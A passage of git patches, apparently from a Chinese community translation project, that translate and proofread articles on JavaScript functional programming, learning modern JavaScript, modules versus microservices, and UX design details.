-Some teams may concentrate on scripting glue, where imperative programming is particularly useful. Others may concentrate on building architectural abstractions, where a bit of (restrained, careful) OO thinking may not be a bad idea. Still others may embrace functional programming, reducing over user actions using pure functions for deterministic, testable management of application state. Members on these teams are all using the same language, meaning that they can more easily exchange ideas, learn from each other, and build on each other’s work.
+在 JavaScript 中，所有这些想法可以共存，这样就让更多的人开始拥抱 JavaScript，然后就产生了[世界上最大的开源包管理器](http://www.modulecounts.com/) (2017 年 2 月)，[npm](https://www.npmjs.com/)。
 
-In JavaScript, all of these ideas can co-exist, which allows more people to embrace JavaScript, which has led to the [largest open-source package registry in the world](http://www.modulecounts.com/) (as of February, 2017), [npm](https://www.npmjs.com/).
+JavaScript 的真正优势在于其生态系统中的思想和用户的多样性。它也许不是纯函数式编程的理想语言，但它是你可以想象的工作在不同平台的人共同合作的理想语言，比如说 Java、Lisp 或者 C。JavaScript 也许对这些有这些背景的用户完全友好，但是这些人很乐意学习这门语言并迅速投入生产。
 
-The true strength of JavaScript is diversity of thought and users in the ecosystem. It may not be absolutely the ideal language for functional programming purists, but it may be the ideal language for working together using one language that works on just about every platform you can imagine — familiar to people coming from other popular languages such as Java, Lisp, or C. JavaScript won’t feel ideally comfortable to users with any of those backgrounds, but they may feel *comfortable enough* to learn the language and become productive quickly.
+我同意 JavaScript 并不是函数式编程着最好的语言。但是，没有任何其他语言可以声称他们可以被所有人使用，同时正如 ES6 所述：JavaScript 可以满足到更与喜欢函数式编程的人的需要，同时也越来越好。相比于抛弃 JavaScript 和它不可思议的被世界上所有公司使用的生态系统，为什么不拥抱它，把它变成一个更适合软件组成化的语言？
 
-I agree that JavaScript is not the best language for functional programmers. However, no other functional language can claim that it is a language that everybody can use and embrace, and as demonstrated by ES6: JavaScript can and does get better at serving the needs of users interested in functional programming. Instead of abandoning JavaScript and its incredible ecosystem used by virtually every company in the world, why not embrace it, and make it a better language for software composition incrementally?
+现在，JavaScript 已经是一门足够优秀的函数式编程语言，意味着人们可以使用 JavaScript 的函数式编程方法来构造所有有趣的和有用的东西。Netflix（和其他使用 Angular 2+ 的应用）使用基于 RxJS 的函数式功能。[Facebook](https://github.com/facebook/react/wiki/sites-using-react)在 React 中使用纯函数、高阶函数和高级组件来开发 Facebook 和 Instagram，[PayPal, KhanAcademy, and Flipkart](https://github.com/reactjs/redux/issues/310)使用 Redux 来进行状态管理。
 
-As-is, JavaScript is already a *good enough* functional programming language, meaning that people are building all kinds of useful and interesting things in JavaScript, using functional programming techniques. Netflix (and every app built with Angular 2+) uses functional utilities based on RxJS. [Facebook](https://github.com/facebook/react/wiki/sites-using-react) uses the concepts of pure functions, higher-order functions, and higher order components in React to build Facebook and Instagram. [PayPal, KhanAcademy, and Flipkart](https://github.com/reactjs/redux/issues/310) use Redux for state management.
+它们并不孤单：Angular、React、Redux 和 Lodash 是 JavaScript 生态系统中主要的框架和库，同时它们都被函数式编程很深的影响到 — 或者在 Lodash 和 Redux中，明确的表达是为了在实际的 JavaScript 应用中使用函数式编程模式。
 
-They’re not alone: Angular, React, Redux, and Lodash are the leading frameworks and libraries in the JavaScript application ecosystem, and all of them are heavily influenced by functional programming — or in the cases of Lodash and Redux, built for the express purpose of enabling functional programming patterns in real JavaScript applications.
+“为什么是 JavaScript?”因为实际上所有的软件呢公司用来开发软件的语言。无论如何，JavaScript 从 Lisp 这个数十年来的标志头上偷取了 “最受欢迎的函数式编程语言” 的头衔。事实上，Haskell 更适合当今函数式编程概念的标准，但是人们并不使用它来开发实际应用。
 
-“Why JavaScript?” Because JavaScript is the language that most real companies are using to build real software. Love it or hate it, JavaScript has stolen the title of “most popular functional programming language” from Lisp, which was the standard bearer for decades. True, Haskell is a much more suitable standard bearer for functional programming concepts today, but people just aren’t building as many real applications in Haskell.
+在任何时候，在美国都有一百万的 JavaScript 工作需求，世界其他地方也有数百万的量。学习 Haskell 可以帮助你很好的学习函数式编程，但学习 JavaScript 将会教会你在实际工作中开发应用。
 
-At any given moment, there are close to a hundred thousand JavaScript job openings in the United States, and hundreds of thousands more world-wide. Learning Haskell will teach you a lot about functional programming, but learning JavaScript will teach you a lot about building production apps for real jobs.
+App 正在吞食世界， web 正在吞食 app， 同时 JavaScript 正在吞食 web。
 
-Apps ate the world, the web ate apps, and JavaScript ate the web.
+[**接下来的第三部分: 函数式开发者的 JavScript 介绍…**](https://medium.com/javascript-scene/a-functional-programmers-introduction-to-javascript-composing-software-d670d14ede30#.zdpw16p65)
 
-[**Continued in Part 3: A Functional Programmer’s Introduction to JavaScript…**](https://medium.com/javascript-scene/a-functional-programmers-introduction-to-javascript-composing-software-d670d14ede30#.zdpw16p65)
+### 下一步
 
-### Next Steps
+想更多的学习 JavaScript 的函数式编程？
 
-Want to learn more about functional programming in JavaScript?
+[Learn JavaScript with Eric Elliott](http://ericelliottjs.com/product/lifetime-access-pass/)，什么，你还不是其中之一，out 了！
 
-[Learn JavaScript with Eric Elliott](http://ericelliottjs.com/product/lifetime-access-pass/). If you’re not a member, you’re missing out!
+[![](https://cdn-images-1.medium.com/freeze/max/30/1*3njisYUeHOdyLCGZ8czt_w.jpeg?q=20)![](https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg)](https://ericelliottjs.com/product/lifetime-access-pass/)
 
-[<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg">
-](https://ericelliottjs.com/product/lifetime-access-pass/)
 
+*Eric Elliott* 是 [*“Programming JavaScript Applications”*](http://pjabook.com) (O’Reilly) 和 “Learn JavaScript with Eric Elliott” 的作者。他曾效力于 *Adobe Systems, Zumba Fitness, he Wall Street Journal, ESPN, BBC, and top recording artists including Usher, Frank Ocean, Metallica* 和其他一些公司。
 
-***Eric Elliott*** is the author of [*“Programming JavaScript Applications”*](http://pjabook.com) (O’Reilly), and [*“Learn JavaScript with Eric Elliott”*](http://ericelliottjs.com/product/lifetime-access-pass/). He has contributed to software experiences for **Adobe Systems, Zumba Fitness, The Wall Street Journal, ESPN, BBC, and top recording artists including Usher, Frank Ocean**, Metallica, and many more.
-
-*He spends most of his time in the San Francisco Bay Area with the most beautiful woman in the world.*
+*他和她的老婆（很漂亮）大部分时间都在旧金山湾区里。*
 
 
 ---

From b029545ce7db113488a20a0722eb40027cff9f44 Mon Sep 17 00:00:00 2001
From: sunxinlei <sunxinly@gmail.com>
Date: Sun, 9 Apr 2017 18:41:57 +0800
Subject: [PATCH 091/638] =?UTF-8?q?=E6=A0=B9=E6=8D=AE=20sqrthree=20?=
 =?UTF-8?q?=E6=A0=A1=E5=AF=B9=E6=84=8F=E8=A7=81=E6=9B=B4=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/modern-javascript-for-ancient-web-developers.md | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/TODO/modern-javascript-for-ancient-web-developers.md b/TODO/modern-javascript-for-ancient-web-developers.md
index d62d526e6a9..f4cbf50cb77 100644
--- a/TODO/modern-javascript-for-ancient-web-developers.md
+++ b/TODO/modern-javascript-for-ancient-web-developers.md
@@ -26,13 +26,13 @@ Hi.我是一个正在学习现代 JavaScript 的“老派” web 开发者。我
 
 这种情况下，就有必要向你身边的 JavaScript 工程师朋友伸手求助了，和他们聊一聊你的技术路线。我很荣幸在 Postlight 得到了工程师朋友(特别是 [Jeremy Mack](https://medium.com/@mutewinter))的精湛指导，感谢他们容忍我无穷无尽的问题。
 
-我要说的是,学习现代的 JavaScript 需要人为干预。事物还在不断发展变化，各种教程尚未成熟和定型，所谓最佳实践也未形成正式规范。如果你身边没有大牛，那么至少也得检查 Medium 上文章或教程的日期,或 Github 仓库的最近一次提交时间。如果时间超过了一年，基本上可以确定已经过时。
+我要说的是，学习现代的 JavaScript 需要人为干预。事物还在不断发展变化，各种教程尚未成熟和定型，所谓最佳实践也未形成正式规范。如果你身边没有大牛，那么至少也得检查 Medium 上文章或教程的日期，或 GitHub 仓库的最近一次提交时间。如果时间超过了一年，基本上可以确定已经过时。
 
 ### 新的问题，而不是已经确定的解决方案 ###
 
 走类似这样的路线：当你在学习现代 JavaScript 时，你遇到的问题的解决方案还在渐渐得到解决，这正是一个好机会。事实上，很可能仅仅差一次 code review，你在使用这个包时就可以修复问题。
 
-当你在使用一种像 PHP 这样的古老的语言的时候，你可以 Google 一个提问或者问题，几乎百分之百能找到一个5年前的 Stack Overflow 回答来解决它，或者你能在（详尽的，大量评论的，无与伦比的）[文档](http://docs.php.net/docs.php)里找到整个描述。
+当你在使用一种像 PHP 这样的古老的语言的时候，你可以 Google 一个提问或者问题，几乎百分之百能找到一个 5 年前的 Stack Overflow 回答来解决它，或者你能在（详尽的、大量评论的、无与伦比的）[文档](http://docs.php.net/docs.php)里找到整个描述。
 
 现代 JavaScript 就并非如此了。 我曾经徜徉在 GitHub issues 和源码的时候不止一次找到的都是一些过时的文档。剖析 GitHub 版本库是学习和使用各种包的一部分，而且对于我这样的“老派人”，差之毫厘的学习总是令人迷惑。
 
@@ -42,7 +42,7 @@ Hi.我是一个正在学习现代 JavaScript 的“老派” web 开发者。我
 
 [![Markdown](http://i4.buimg.com/1949/adafb30475d3d36a.png)](https://twitter.com/capndesign/status/832638513048850433/photo/1)
 
-**不要因此止步不前**。我不得不放手去做，从起步到正确配置，允许自己的不完美甚至一些业余，只为舒适地使用自己的工具。（我不会告诉你我曾用[nodemon](https://nodemon.io/)做代码检查）随后我会找到更好的方法并且在每个新项目中纳入进来。
+**不要因此止步不前**。我不得不放手去做，从起步到正确配置，允许自己的不完美甚至一些业余，只为舒适地使用自己的工具。（我不会告诉你我曾用 [nodemon](https://nodemon.io/) 做代码检查）随后我会找到更好的方法并且在每个新项目中纳入进来。
 
 这方面 JS 还有大量的工作要做。现代 JavaScript 领域依然是不断变化的，但我一个现代 JS 工程师亲友告诉我，[这份来自 Jonathan Verrecchia 的教程](https://github.com/verekia/js-stack-from-scratch)是目前构建一个当代 JavaScript 栈的不二之选。对，就是现在。
 
@@ -54,17 +54,17 @@ Hi.我是一个正在学习现代 JavaScript 的“老派” web 开发者。我
 
 这是迄今为止我在这个过程中经历过的一些研讨会和教程的不完整列表。
 
-- [HOW-TO-NPM](https://github.com/workshopper/how-to-npm) —— npm 是 JavaScript 的包管理器。即使在学习这个教程之前我已经敲打过上千次 “npm install”，但是知道学完这个我才知道 npm 做的所有事情。（在很多项目中我已经转移使用[yarn](https://github.com/yarnpkg/yarn)，而不是 npm,但所有的概念都是相通的）
+- [HOW-TO-NPM](https://github.com/workshopper/how-to-npm) —— npm 是 JavaScript 的包管理器。即使在学习这个教程之前我已经敲打过上千次 “npm install”，但是知道学完这个我才知道 npm 做的所有事情。（在很多项目中我已经转移使用[yarn](https://github.com/yarnpkg/yarn)，而不是 npm，但所有的概念都是相通的）
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*0NydvP4xLtp13z_HE2Xqyw.png">
 
 `npm i -g how-to-npm`
 
-- [learnyounode](https://github.com/workshopper/learnyounode)——我打算专注于服务端 JavaScript,因为那有令我安逸的东西，那就是 Node.js。Learnyounode 是一个交互式教程，结构上类似 how-to-npm。
+- [learnyounode](https://github.com/workshopper/learnyounode)——我打算专注于服务端 JavaScript，因为那有令我安逸的东西，那就是 Node.js。Learnyounode 是一个交互式教程，结构上类似 how-to-npm。
 
 - [expressworks](https://github.com/azat-co/expressworks) —— 和前面两个项目类似，Expressworks 是 Express.js 的介绍，一个 Node.js 的 web 框架。在 Postlight 公司 Express 没有得到广泛使用，但对于初学者，它值得学习去上手构建一个简单的 web 应用。
 - 现在是时候做点真东西了。我发现 Tomomi Imura 的一篇教程 [Creating a Slack Command Bot from Scratch with Node.js](http://www.girliemac.com/blog/2016/10/24/slack-command-bot-nodejs/) 已经可以学到足够的 Node 和 Express 的新技能来应对工作。因为我专注于后端，使用 Slack 创建一个 “/” 命令是一个很好的开始，因为没有前端演示（Slack 帮你做好了）
-- 在构建这个命令的过程中，我不使用演练中所推荐的 ngrok 或者 Heroku，而是使用 [Zeit Now](https://zeit.co/now)，这是任何人可用的，创建快速一次性的 JS 应用的宝贵工具。
+- 在构建这个命令的过程中，我不使用演练中所推荐的 ngrok 或者 Heroku，而是使用 [Zeit Now](https://zeit.co/now)，这是任何人可用的、创建快速一次性的 JS 应用的宝贵工具。
 - 一旦开始写真正意义的代码，我也开始掉下工具无底洞了，安装 Sublime 插件，获取正确的 [Node 版本](https://github.com/postlight/lux/blob/master/CONTRIBUTING.md#nodejs-version-requirements)，配置 ESLint，使用 [Airbnb 的代码规范 (Postlight 公司的偏好)](https://github.com/airbnb/javascript) —— 这些事情拖了我的后退，但也都是有价值的初始化投资。对于这方面我还在坑里，例如 Webpack 对我来说依然美妙又神秘，不过[这个视频是个很不错的介绍](https://www.youtube.com/watch?v=WQue1AN93YU)*.*
 - 某些时候 JS 的异步执行（特别是[回调地狱](http://callbackhell.com/)）开始困扰我，[Promise It Won’t Hurt](https://github.com/stevekane/promise-it-wont-hurt) 是另一个教你怎样使用 Promise 书写优雅异步逻辑的教程。Promise 是用于解决异步执行的 JS 新概念。说实话 Promise 令我耳目一新，他们是巧妙的范式转变。感谢 [Mariko Kosaka](http://kosamari.com/notes/the-promise-of-a-burger-party)，现在我每次买汉堡的时候都能想起这些。
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*Gh5Pv0ujTuikxGZMeANfCg.png">

From be832cc766613663cdf57b56822961647907101b Mon Sep 17 00:00:00 2001
From: sunxinlei <sunxinly@gmail.com>
Date: Sun, 9 Apr 2017 18:47:15 +0800
Subject: [PATCH 092/638] =?UTF-8?q?=E4=B8=A4=E5=A4=84=E8=8B=B1=E6=96=87?=
 =?UTF-8?q?=E7=A9=BA=E6=A0=BC?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/modern-javascript-for-ancient-web-developers.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/modern-javascript-for-ancient-web-developers.md b/TODO/modern-javascript-for-ancient-web-developers.md
index f4cbf50cb77..844e8f62cdf 100644
--- a/TODO/modern-javascript-for-ancient-web-developers.md
+++ b/TODO/modern-javascript-for-ancient-web-developers.md
@@ -22,7 +22,7 @@ Hi.我是一个正在学习现代 JavaScript 的“老派” web 开发者。我
 
 ### 转移目标 (.jS)
 
-现代 JS 的特点就是朝气蓬勃和发展迅速，所以很容易就选择了过时的框架、模板引擎、构建工具、 教程或者已经不是最佳实践的技术。（ 如果真有一个被广泛接受的最佳实践的概念的话）
+现代 JS 的特点就是朝气蓬勃和发展迅速，所以很容易就选择了过时的框架、模板引擎、构建工具、 教程或者已经不是最佳实践的技术。（如果真有一个被广泛接受的最佳实践的概念的话）
 
 这种情况下，就有必要向你身边的 JavaScript 工程师朋友伸手求助了，和他们聊一聊你的技术路线。我很荣幸在 Postlight 得到了工程师朋友(特别是 [Jeremy Mack](https://medium.com/@mutewinter))的精湛指导，感谢他们容忍我无穷无尽的问题。
 
@@ -54,7 +54,7 @@ Hi.我是一个正在学习现代 JavaScript 的“老派” web 开发者。我
 
 这是迄今为止我在这个过程中经历过的一些研讨会和教程的不完整列表。
 
-- [HOW-TO-NPM](https://github.com/workshopper/how-to-npm) —— npm 是 JavaScript 的包管理器。即使在学习这个教程之前我已经敲打过上千次 “npm install”，但是知道学完这个我才知道 npm 做的所有事情。（在很多项目中我已经转移使用[yarn](https://github.com/yarnpkg/yarn)，而不是 npm，但所有的概念都是相通的）
+- [HOW-TO-NPM](https://github.com/workshopper/how-to-npm) —— npm 是 JavaScript 的包管理器。即使在学习这个教程之前我已经敲打过上千次 “npm install”，但是知道学完这个我才知道 npm 做的所有事情。（在很多项目中我已经转移使用 [yarn](https://github.com/yarnpkg/yarn)，而不是 npm，但所有的概念都是相通的）
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*0NydvP4xLtp13z_HE2Xqyw.png">
 

From 3fc96b46eccefccbe0c2f147247c63484c942f48 Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Sun, 9 Apr 2017 20:51:55 +0800
Subject: [PATCH 093/638] =?UTF-8?q?=E4=BA=8C=E6=A0=A1=E6=84=8F=E8=A7=81?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/modules-vs-microservices.md | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/TODO/modules-vs-microservices.md b/TODO/modules-vs-microservices.md
index 743f181583e..fcac5d43e3b 100644
--- a/TODO/modules-vs-microservices.md
+++ b/TODO/modules-vs-microservices.md
@@ -6,11 +6,11 @@
 
 # 模块化 vs. 微服务
 
-在避免微服务复杂性的同时，应用模块化系统设计设计原则。
+使用模块化系统设计原则来避免微服务的复杂性。
 
 ![](https://d3tdunqjn7n0wj.cloudfront.net/360x240/container-227877_1920-0db52b796e6b80d98f6df2d01a6ee4fb.jpg)
 
-从单体式应用向微服务架构迁移已经是老生常谈的话题了。除了过过嘴瘾，似乎真的动手将单体式应用拆分成微服务也不是什么很困难的事。但是这种做法真的是你们团队的最佳选择吗？维护一个凌乱的单体式应用的确很伤脑筋，但是还有另一种强有力但常常被人忽视的替代方案：模块化应用开发。本文将探讨这种替代方案，并展现其与构建微服务的关系。
+从单体式应用向微服务架构迁移已经是老生常谈的话题了。除了过过嘴瘾，似乎真的动手将单体式应用拆分成微服务也不是什么很困难的事。但是这种做法真的是你们团队的最佳选择吗？维护一个凌乱的单体式应用的确很伤脑筋，但是还有另一种优秀但常常被人忽视的替代方案：模块化应用开发。本文将探讨这种替代方案，并展现其与构建微服务的关系。
 
 ## 模块化微服务
 
@@ -40,9 +40,9 @@
 
 例如在 Java 中，有几个可以帮助你构建应用的模块系统。OSGi 是其中最著名的一个，不过随着 Java 9 的发布，Java 平台将加入一个原生的模块系统。现在模块作为一等结构（first-class construct），成为了语言和平台的一部分。Java 模块可以表明对其它模块的依赖，以及在强封装实现类的时候公开暴露接口。甚至 Java 平台本身（一个庞大的代码库）已经使用了新的 Java 模块系统进行模块化。你可以在我即将出版的书[Java 9 Modularity](https://www.safaribooksonline.com/library/view/java-9-modularity/9781491954157/?utm_source=newsite&amp;utm_medium=content&amp;utm_campaign=lgen&amp;utm_content=modules-vs-microservices-inline)中了解有关 Java 9 模块化开发的更多信息。（现早期版本已经发布）
 
-其它的语言也提供了类似的机制。例如，JavaScript 在 ES2015 规范中提供了一个[模块系统](http://exploringjs.com/es6/ch_modules.html)。在此之前，Node.js 也为 JavaScript 后端提供了一个非标准的模块系统。然而 JavaScript 作为一种动态语言，对于强制接口（类型）与模块封装的支持还是较弱。你可以考虑在 JavaScript 的基础上使用 TypeScript 来重新获得这些优点。微软的 .Net 框架与 Java 一样都有着强类型，但就强封装以及程序集（Assemblies）间的显式依赖而言，它与 Java 即将推出的模块系统并不相同。尽管如此，你可以通过使用 [.Net Core](https://msdn.microsoft.com/en-us/magazine/mt707534.aspx) 中标准化的反转控制模式（IOC）以及创建逻辑相关的程序集来实现良好的模块化架构。即使是 C++ 也在以后的版本中[考虑添加](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2016/n4610.pdf)模块系统。许多语言现在都对模块化表现出了欣赏之情，这本身就是一个显著的进步。
+其它的语言也提供了类似的机制。例如，JavaScript 在 ES2015 规范中提供了一个[模块系统](http://exploringjs.com/es6/ch_modules.html)。在此之前，Node.js 也为 JavaScript 后端提供了一个非标准的模块系统。然而 JavaScript 作为一种动态语言，对于强制接口（类型）与模块封装的支持还是较弱。你可以考虑在 JavaScript 的基础上使用 TypeScript 来重新获得这些优点。微软的 .Net 框架与 Java 一样都有着强类型，但就强封装以及程序集（Assemblies）间的显式依赖而言，它与 Java 即将推出的模块系统并不相同。尽管如此，你可以通过使用 [.Net Core](https://msdn.microsoft.com/en-us/magazine/mt707534.aspx) 中标准化的反转控制模式（IOC）以及创建逻辑相关的程序集来实现良好的模块化架构。即使是 C++ 也在以后的版本中[考虑添加](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2016/n4610.pdf)模块系统。许多语言都在向模块化靠近，这本身就是一个显著的进步。
 
-当你有意识地使用你的开发平台的模块化特性时，你就可以实现之前提及的微服务的模块化优势。基本上模块系统越好，你在开发过程中获得的帮助就越多。只要在不同团队间的接触点定义好明确的接口，不同的团队也可以独立进行不同部分的工作。当然，在部署时还是要将模块在一个单独的部署单元中组合起来。这样可以防止过大的复杂度，以及迁移到微服务所需要的开发与管理成本。诚然，这也意味着你不能使用不同的技术栈来构建不同的模块，但你的团队应该不会真的这么做吧？
+当你有意识地使用你的开发平台的模块化特性时，你就可以实现之前提及的微服务的模块化优势。基本上模块系统越好，你在开发过程中获得的帮助就越多。只要在不同团队间的接触点定义好明确的接口，不同的团队也可以独立进行不同部分的工作。当然，在部署时还是要将模块在一个单独的部署单元中组合起来。这样可以防止过于复杂，以及减少迁移到微服务所需要的开发与管理成本。诚然，这也意味着你不能使用不同的技术栈来构建不同的模块，但你的团队应该不会真的这么做吧？
 
 ## 模块设计
 
@@ -68,7 +68,7 @@
 
 ## 总结
  
-总之，最好的方案就是找到一个折中的点。这两种方案都有可取之处，需要根据实际环境、组织和应用本身进行选择。既然你可以在之后迁移成微服务架构，那为什么最开始不直接使用模块化应用呢？如果你之前就已经划分好了模块边界，那也就不需要再去拆分你的单体式应用了。甚至你还可以在模块内部搭建微服务架构。那么问题就变成了：为什么微服务一定要是”微“的呢？
+总之，最好的方案就是找到一个折中的点。这两种方案都有可取之处，需要根据实际环境、组织和应用本身进行选择。既然你可以在之后迁移成微服务架构，那为什么最开始不直接使用模块化应用呢？如果你之前就已经划分好了模块边界，那也就不需要再去拆分你的单体式应用了。甚至你还可以在模块内部搭建微服务架构。那么问题就变成了：为什么微服务一定要是“微”的呢？
 
 即使你的应用刚从模块化应用转成微服务架构，服务也不必非得很“微”才具备可维护性。在服务中应用模块化原则能让它们在复杂度的可扩展性上超越通常的微服务。现在这份蓝图中既有微服务也有模块，减少架构中的服务的数量可以节约成本；而其中的模块可以像构建单体式应用一样，构建和扩展服务。
 

From b20456939ffc66de053d0857be6fd3294e961dcc Mon Sep 17 00:00:00 2001
From: ivyxuan <iloveivyxuan@gmail.com>
Date: Sun, 9 Apr 2017 20:59:48 +0800
Subject: [PATCH 094/638] =?UTF-8?q?=E6=A0=B9=E6=8D=AE=20ylq167=20=E5=92=8C?=
 =?UTF-8?q?=20gaozp=20=E7=9A=84=E6=84=8F=E8=A7=81=E8=BF=9B=E8=A1=8C?=
 =?UTF-8?q?=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/the-details-that-matter.md | 90 ++++++---------------------------
 1 file changed, 15 insertions(+), 75 deletions(-)

diff --git a/TODO/the-details-that-matter.md b/TODO/the-details-that-matter.md
index 401d203b9d2..fce6047f6df 100644
--- a/TODO/the-details-that-matter.md
+++ b/TODO/the-details-that-matter.md
@@ -1,215 +1,155 @@
 > * 原文地址：[The Details That Matter](https://uxplanet.org/the-details-that-matter-8b962ca58b49#.ypigeruoq)
 > * 原文作者：[Nick Babich](https://uxplanet.org/@101?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
-> * 校对者：
+> * 译者：[ivyxuan](https://github.com/iloveivyxuan)
+> * 校对者：[ylq167](http://www.11167.xyz)、[gaozp](https://github.com/gaozp)
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*9QIpe-Mce0ltsgQ0f0lYWQ.png">
 
-# The Details That Matter #
 # 细节是产品设计的重中之重 #
 
 
-Your product’s success is based on a combination of factors, but the overall user experience tops them all. When it comes down to designing a new app or a site, sticking to best practices is a solid way to go, but during the creation of the big picture, it’s fairly easy to skimp over design elements that feel like nice to have but not necessary. However, the difference between good and bad experiences often comes down to how thoughtful we can design these small details.
 一个产品的成功是由各种因素共同造就的，而其中最重要的因素，就是整体的用户体验。在设计一款新的应用或是网站的时候，坚持最佳的实践规范是一个可靠的方法，但是在创造宏伟蓝图的时候，人们很容易就会省略掉那些能让人有更好的体验但却并非必要的设计元素。然而，设计的优劣往往在于我们能设计出多么体贴的细节。
 
-In this article, I’ll focus on *visual feedback*, *microcopy* and *whitespace* and you’ll see why these *little big details* are just as important as the more obvious elements of your design, and how they help determine the success of your product.
-在这篇文章中，我将会关注可视化反馈、小的提示信息还有留白这几个方面，你会发现为什么这些不起眼的细节和那些显眼的设计元素相比同样重要，而这些细节又是怎样决定你产品成败的。
+在这篇文章中，我将会重点关注**可视化反馈**、**小的文字信息**还有**留白**这几个方面，你将会发现为什么这些不起眼的细节和那些显眼的设计元素相比同样重要，而这些细节又是怎样决定你产品成败的。
 
-### Visual Feedback ###
 ### 可视化反馈 ###
 
-Visual feedback might be easily overlooked in the greater design scheme, but it actually hold the entire experience together. When there’s no feedback there’s no proper interaction. Imagine talking to someone who doesn’t respond in any way — you can’t communicate at all. Same goes for your app.
 可视化反馈在较大的设计方案里很容易就会被忽视掉，但它实际上贯穿整体的用户体验流程。可以说，如果没有反馈就没有所谓的交互，你能想象和一个人聊天，可他一点反应也不给你吗 —— 你根本就聊不下去。而对于你的应用也是同样的道理。
 
-> *Lack of visual feedback is able to confuse users.*
 > **缺乏可视化的反馈会让用户感到困惑。**
 
-You must ensure that there is always some feedback for user actions, because it makes users feel in control. Visual feedback
-你必须要确保对于用户的每个动作都有相应的反应，因为这会让用户会感觉他在控制着一切。可视化反馈
+你必须要确保对于用户的每个动作都有相应的反馈，因为这会让用户感觉应用运行一切正常。可视化反馈
 
-- Acknowledges that the app has received a user’s action.
-- Communicates the results of interaction, making it both *visible* and *understandable*. Gives the user a signal that they (or the app) have succeeded or failed at performing a task.
-- 首先表明这个应用了解了用户的操作。
+- 首先表明这个应用接受到了用户的操作。
 - 然后它通过一种可视化而且易于理解的方式告诉用户这次交互的结果是什么，通过给用户一个信号，来告诉用户自己对于这个任务的执行是成功还是失败。
 
-#### Make buttons and other controls tangible ####
-#### 让按钮或是其他开关看起来是可以碰的 ####
+#### 让按钮或是其他开关看起来是可触摸的 ####
 
-In real life, buttons, controls and objects respond to our interaction, and this is how people expect things to work. People expect a similar level of responsiveness from app elements.
 在现实生活中，按钮、开关还有其他东西都会对我们的动作有所回应，人们觉得世界就是这样运转的。而同样，人们也会期待应用里的元素能有类似的回应。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*CJmWiRBN2cwd53TfcyTd8g.gif">
 
-Image credits: [Ramotion](https://dribbble.com/shots/1749645-Contact-Sync)
 图片来源：[Ramotion](https://dribbble.com/shots/1749645-Contact-Sync)
 
-#### Result of operation ####
 #### 操作的结果 ####
 
-Visual feedback is also helpful when you need to inform users about results of an operation. You can use existing elements to deliver a feedback.
-当你需要告诉用户他的操作结果是什么的时候，可视化反馈就很有用了。你可以利用现有的元素去传递反馈信息。
+当你需要告诉用户他的操作结果是什么的时候，可视化反馈就很有用了，你可以利用现有的元素去传递反馈信息。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*6YGP-5TxLJSuDwBYsKzREg.gif">
 
-Image credits: [Colin Garven](https://dribbble.com/ColinGarven)
 图片来源：[Colin Garven](https://dribbble.com/ColinGarven)
 
-#### **System should tell users its state** ####
-#### **系统需要告诉用户他的状态是什么** ####
+#### **系统需要告诉用户他当前的状态是什么** ####
 
-Users want to know their current context in a system at any given time and apps shouldn’t keep them guessing — they should tell the user what’s happening via appropriate visual feedback. For frequent and minor actions, the response can be modest, while for infrequent and major actions, the response should be more substantial.
-在系统中，用户任何时候都会想知道他此刻的状态是什么，而这不应该让用户自己去猜 —— 所以系统应该通过恰当的可视化反馈告诉用户此刻正在发生什么。对于一些常见而且次要的操作，适当的反馈就可以了，而对于不寻常而且重要的操作，反馈就需要更明显一点。
+在系统中，用户任何时候都会想知道他此刻的状态是什么，而这不应该让用户自己去猜 —— 所以系统应该通过恰当的可视化反馈告诉用户此刻正在发生什么。对于一些常见而且次要的操作，简单的反馈就可以了，而对于不寻常而且重要的操作，反馈就需要更明显一点。
 
-- [Animated notification](https://uxplanet.org/3-key-uses-for-animation-in-mobile-ui-design-4d7c482dd84b#.x07lyyazb) makes it possible for a user to quickly understand the current status.
 - [动态提醒](https://uxplanet.org/3-key-uses-for-animation-in-mobile-ui-design-4d7c482dd84b#.x07lyyazb)可以让用户立刻明白此时的状态。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*wU-ATdbQDPg6MTYZtNfTxw.gif">
 
-Image credits: [Eddy Gann](https://dribbble.com/SMSeddy)
 图片来源：[Eddy Gann](https://dribbble.com/SMSeddy)
 
-- [Loading animations](https://uxplanet.org/progress-indicators-in-mobile-ux-design-a141e22f3ea0#.etoavwmbw) provides real-time notification of app’s process status, enabling the user to quickly understand what is going on.
 - [加载动画](https://uxplanet.org/progress-indicators-in-mobile-ux-design-a141e22f3ea0#.etoavwmbw)是对于应用进程的实时提醒，可以让用户立刻明白现在加载到哪里了。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*cd858x6Yb2k7lountEkefA.gif">
 
